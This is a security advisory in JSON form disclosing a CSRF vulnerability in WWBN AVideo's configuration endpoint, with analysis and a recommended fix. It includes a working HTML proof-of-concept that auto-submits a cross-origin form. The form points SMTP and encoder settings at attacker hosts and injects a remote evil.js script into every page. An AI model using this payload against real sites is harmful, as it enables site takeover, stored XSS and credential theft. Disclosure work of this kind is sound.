CVE-2026-40925: Wwbn/avideo WWBN AVideo Has CSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vvfw-4m39-fjqf",
  "modified" : "2026-04-24T20:31:15Z",
  "published" : "2026-04-14T23:12:30Z",
  "aliases" : [ "CVE-2026-40925" ],
  "summary" : "WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials",
  "details" : "## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config->setContactEmail($_POST['contactEmail']);          // :21\n$config->setLanguage($_POST['language']);                  // :22\n$config->setWebSiteTitle($_POST['webSiteTitle']);          // :23\n$config->setDescription($_POST['description']);           // :24\n$config->setAuthCanComment($_POST['authCanComment']);     // :25\n$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26\n// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):\n$config->setEncoderURL($_POST['encoder_url']);            // :32\n$config->setSmtp($_POST['smtp']);                         // :33\n$config->setSmtpAuth($_POST['smtpAuth']);                 // :34\n$config->setSmtpSecure($_POST['smtpSecure']);             // :35\n$config->setSmtpHost($_POST['smtpHost']);                 // :36\n$config->setSmtpUsername($_POST['smtpUsername']);         // :37\n$config->setSmtpPassword($_POST['smtpPassword']);         // :38\n$config->setSmtpPort($_POST['smtpPort']);                 // :39\n$config->setHead($_POST['head']);                         // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68\nfile_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71\n// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)\necho '{\"status\":\"' . $config->save() . '\", ...}';         // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request — no preflight — so any third-party origin can trigger it from a `<form>` with the admin's session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** — attacker-chosen raw HTML is injected into every page's `<head>`, giving persistent site-wide stored XSS (e.g. `<script src=\"https://attacker/evil.js\"></script>`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n<!doctype html>\n<html><body>\n<form id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n      method=\"POST\" enctype=\"application/x-www-form-urlencoded\">\n  <input name=\"contactEmail\"        value=\"attacker@evil.com\">\n  <input name=\"language\"            value=\"en\">\n  <input name=\"webSiteTitle\"        value=\"Pwned\">\n  <input name=\"description\"         value=\"x\">\n  <input name=\"authCanComment\"      value=\"1\">\n  <input name=\"authCanUploadVideos\" value=\"1\">\n  <input name=\"authCanViewChart\"    value=\"1\">\n  <input name=\"disable_analytics\"   value=\"0\">\n  <input name=\"allow_download\"      value=\"1\">\n  <input name=\"session_timeout\"     value=\"3600\">\n  <input name=\"encoder_url\"         value=\"https://attacker.example.com/Encoder/\">\n  <input name=\"smtp\"                value=\"1\">\n  <input name=\"smtpAuth\"            value=\"1\">\n  <input name=\"smtpSecure\"          value=\"tls\">\n  <input name=\"smtpHost\"            value=\"smtp.attacker.com\">\n  <input name=\"smtpUsername\"        value=\"attacker\">\n  <input name=\"smtpPassword\"        value=\"password\">\n  <input name=\"smtpPort\"            value=\"587\">\n  <input name=\"head\"                value='<script src=\"https://attacker.example.com/evil.js\"></script>'>\n  <input name=\"adsense\"             value=\"x\">\n  <input name=\"autoplay\"            value=\"1\">\n  <input name=\"theme\"               value=\"default\">\n</form>\n<script>document.getElementById('x').submit();</script>\n</body></html>\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config->save()` at `:130`. Response:\n   ```json\n   {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n   ```\n   The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `<script>` in the rendered `<head>`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nrequire_once $global['systemRootPath'] . 'objects/functionsSecurity.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nforbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40925"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T23:12:30Z",
    "nvd_published_at" : "2026-04-21T21:16:45Z"
  }
}